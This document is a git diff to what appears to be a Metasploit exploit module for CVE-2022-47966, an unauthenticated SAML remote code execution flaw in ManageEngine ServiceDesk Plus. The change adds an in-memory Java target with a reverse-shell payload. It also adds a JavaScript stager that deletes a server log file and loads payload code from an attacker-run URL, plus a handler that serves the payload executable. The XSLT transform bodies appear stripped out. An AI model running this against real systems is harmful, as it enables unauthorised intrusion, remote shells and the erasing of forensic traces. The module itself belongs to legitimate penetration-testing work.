diff --git a/modules/exploits/multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966.rb b/modules/exploits/multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966.rb index 8f23c3a766aa..0bf4d19e97df 100644 --- a/modules/exploits/multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966.rb +++ b/modules/exploits/multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966.rb @@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager + include Msf::Exploit::Remote::Java::HTTP::ClassLoader prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) @@ -37,18 +38,25 @@ def initialize(info = {}) ['URL', 'https://github.com/horizon3ai/CVE-2022-47966'], ['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis'] ], - 'Platform' => ['win', 'unix', 'linux'], - 'Payload' => { - 'BadChars' => "\x27" - }, + 'Platform' => ['win', 'unix', 'linux', 'java'], 'Targets' => [ + [ + 'Java (in-memory)', + { + 'Type' => :java, + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'DefaultOptions' => { 'Payload' => 'java/shell_reverse_tcp' } + }, + ], [ 'Windows EXE Dropper', { 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :windows_dropper, - 'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' } + 'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }, + 'Payload' => { 'BadChars' => "\x27" } } ], [ @@ -57,7 +65,8 @@ def initialize(info = {}) 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Type' => :windows_command, - 'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' } + 'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }, + 'Payload' => { 'BadChars' => "\x27" } } ], [ @@ -66,7 +75,8 @@ def initialize(info = {}) 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, - 'DefaultOptions' => { 'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp' } + 'DefaultOptions' => { 'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp' }, + 'Payload' => { 'BadChars' => "\x27" } } ], [ @@ -76,14 +86,15 @@ def initialize(info = {}) 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'Payload' => 'linux/x64/meterpreter/reverse_tcp' }, - 'CmdStagerFlavor' => %w[curl wget echo lwprequest] + 'CmdStagerFlavor' => %w[curl wget echo lwprequest], + 'Payload' => { 'BadChars' => "\x27" } } ] ], 'DefaultOptions' => { 'RPORT' => 8080 }, - 'DefaultTarget' => 1, + 'DefaultTarget' => 0, 'DisclosureDate' => '2023-01-10', 'Notes' => { 'Stability' => [CRASH_SAFE,], @@ -137,6 +148,13 @@ def encode_begin(real_payload, reqs) def exploit case target['Type'] + when :java + # Start the HTTP server to serve the payload + start_service + # Trigger a loadClass request via java.net.URLClassLoader + trigger_urlclassloader + # Handle the payload + handler when :windows_command, :unix_cmd execute_command(payload.encoded) when :windows_dropper, :linux_dropper @@ -144,6 +162,42 @@ def exploit end end + def trigger_urlclassloader + # Here we construct a XSLT transform to load a Java payload via URLClassLoader. + url = get_uri + + vars = Rex::RandomIdentifier::Generator.new + + # stager for javascript engine + java_stager = <<~EOS + var #{vars[:file]} = Java.type("java.io.File"); + new #{vars[:file]}("../logs/serverout0.txt").delete(); + var #{vars[:str_arr]} = Java.type("java.lang.String[]"); + var c = new java.net.URLClassLoader([new java.net.URL("#{url}")]).loadClass("metasploit.Payload"); + c.getMethod("main", java.lang.Class.forName("[Ljava.lang.String;")).invoke(null, [new #{vars[:str_arr]}(1)]); + EOS + + transform = <<~EOT + + + + + + + + + + + + + + EOT + send_transform(transform) + end + def execute_command(cmd, _opts = {}) case target['Type'] when :windows_dropper @@ -154,14 +208,31 @@ def execute_command(cmd, _opts = {}) end cmd = cmd.encode(xml: :attr).gsub('"', '') + vars = Rex::RandomIdentifier::Generator.new + + transform = <<~EOT + + + + + + + + + + + + + + EOT + + send_transform(transform) + end + + def send_transform(transform) assertion_id = "_#{SecureRandom.uuid}" - # Randomize variable names and make sure they are all different using a Set - vars = Set.new - loop do - vars << Rex::Text.rand_text_alpha_lower(5..8) - break unless vars.size < 3 - end - vars = vars.to_a saml = <<~EOS - - - - - - - - - - - - - + #{transform} #{Rex::Text.encode_base64(SecureRandom.random_bytes(32))} @@ -213,7 +270,10 @@ def execute_command(cmd, _opts = {}) } }) - unless res&.code == 500 + # Java payload returns a nil response on successful execution of payload + if target['Type'] == :java && res.nil? + print_status('Exploit completed.') + elsif res&.code != 500 lines = res.get_html_document.xpath('//body').text.lines.reject { |l| l.strip.empty? }.map(&:strip) unless lines.any? { |l| l.include?('URL blocked as maximum access limit for the page is exceeded') } elog("Unkown error returned:\n#{lines.join("\n")}") @@ -225,4 +285,16 @@ def execute_command(cmd, _opts = {}) res end + def on_request_uri(cli, request) + case target['Type'] + when :java + super(cli, request) + else + client = cli.peerhost + print_status("Client #{client} requested #{request.uri}") + print_status("Sending payload to #{client}") + send_response(cli, exe) + end + end + end